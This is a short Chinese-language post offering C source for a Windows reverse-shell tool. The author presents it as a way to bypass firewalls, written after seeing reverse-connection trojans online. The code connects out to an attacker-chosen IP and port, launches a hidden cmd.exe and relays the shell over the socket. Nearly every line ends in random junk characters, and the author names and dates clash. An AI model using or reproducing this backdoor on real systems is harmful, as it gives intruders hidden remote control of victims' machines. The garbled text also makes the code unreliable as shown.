Windows下端口反弹

这是一个Windows下的小程序，可以穿透防火墙反弹连接，当然这是最简单的！看到网络上反弹木马到处都是，心一热就有了这个了（代码很垃圾的）。 Z.Yq)\it  
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/* ============================== .a]#AFX  
Rebound port in Windows NT P2a5<#_|  
By wind,2006/7 NDP" @  
===============================*/ 4lB??`UN  
#include R ,qQC<  
#include }a||@unr  
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#pragma comment(lib,"wsock32.lib") a&x:_vv  
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void OutputShell(); )rK2%\Z  
SOCKET sClient; lb.Q^TghU  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; Z-Qp9G'   
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void main(int argc,char **argv) %`
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{ hr}f5Z)^v  
WSADATA stWsaData; Q!;syJBb.  
int nRet; cx$IWQf2  
SOCKADDR_IN stSaiClient,stSaiServer; +QU>D:l  
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if(argc != 3) PlGif)  
{ Bzrnmz5S  
printf("Useage:\n\rRebound DestIP DestPort\n"); FAEF  
return; A/>Q5)  
} e4tIO   
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WSAStartup(MAKEWORD(2,2),&stWsaData); yov~'S9  
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); TwPQ8}pj?  
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stSaiClient.sin_family = AF_INET; [i`  
stSaiClient.sin_port = htons(0); ~\_VWXXvIW  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); f1MRmp-f'  
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) F3}MM dX  
{
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printf("Bind Socket Failed!\n"); R@\}iyM  
return; a:)FWdp?9  
} [s>3xWZ+a  
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stSaiServer.sin_family = AF_INET; HY)xT$/J  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); a{]=BY oL  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); &:&89<C'  
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) }csA|cC  
{ <kK>C8+  
printf("Connect Error!"); %bDxvaftT  
return; Y@+Rb  
} N)X Tmh2v|  
OutputShell(); ?G,4N<]Nu  
} VL9wRu;  
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void OutputShell() VsQ|t/|#  
{ p R'J4~  
char szBuff[1024]; ~Ru\Z-q1  
SECURITY_ATTRIBUTES stSecurityAttributes; kamQZzPe  
OSVERSIONINFO stOsversionInfo; 1B~O!']N<  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; iHD!v7d7  
STARTUPINFO stStartupInfo; KZ
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char *szShell; 9F/I",EA  
PROCESS_INFORMATION stProcessInformation; aA`eKy) \  
unsigned long lBytesRead; Je6[q  
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); ${ {4L?7  
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); <]
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stSecurityAttributes.lpSecurityDescriptor = 0; .vu7$~7  
stSecurityAttributes.bInheritHandle = TRUE; 7>yd  
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); >]h{[kU %4  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); 9Dx~!(  
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); t<!m4Yd|#  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; (p{X
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stStartupInfo.wShowWindow = SW_HIDE; xs"i_se  
stStartupInfo.hStdInput = hReadPipe; zj`c%9N+  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; Px_8lB/;  
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GetVersionEx(&stOsversionInfo); {<-s&%/r  
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switch(stOsversionInfo.dwPlatformId) O/~T+T%  
{ )M8d\]  
case 1: ?{J1&;j*  
szShell = "command.com"; !:+U-mb*  
break; /$; Z ~^P  
default: 5U
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szShell = "cmd.exe"; db )2>  
break; 0LQRQuh1  
} 
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); ) 57'<  
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send(sClient,szMsg,77,0); 4phCn5  
while(1) lU1SN/'zx  
{ @[^ 3yC#  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); ]5'*^rz ^  
if(lBytesRead) "@x(2(Y&  
{ `q}D#0  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); UN?tn}`!  
send(sClient,szBuff,lBytesRead,0); I"]E}nd)  
} 2^XmtT  
else oIrc))j,$  
{ HVM%B{(  
lBytesRead=recv(sClient,szBuff,1024,0); ~D5 -G?%$"  
if(lBytesRead<=0) break; L`t786 (M  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); ZRhk2DA#FF  
} XU'(^Y8Imz  
} 4f j}d.?  
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return; ;8H&FsR  
}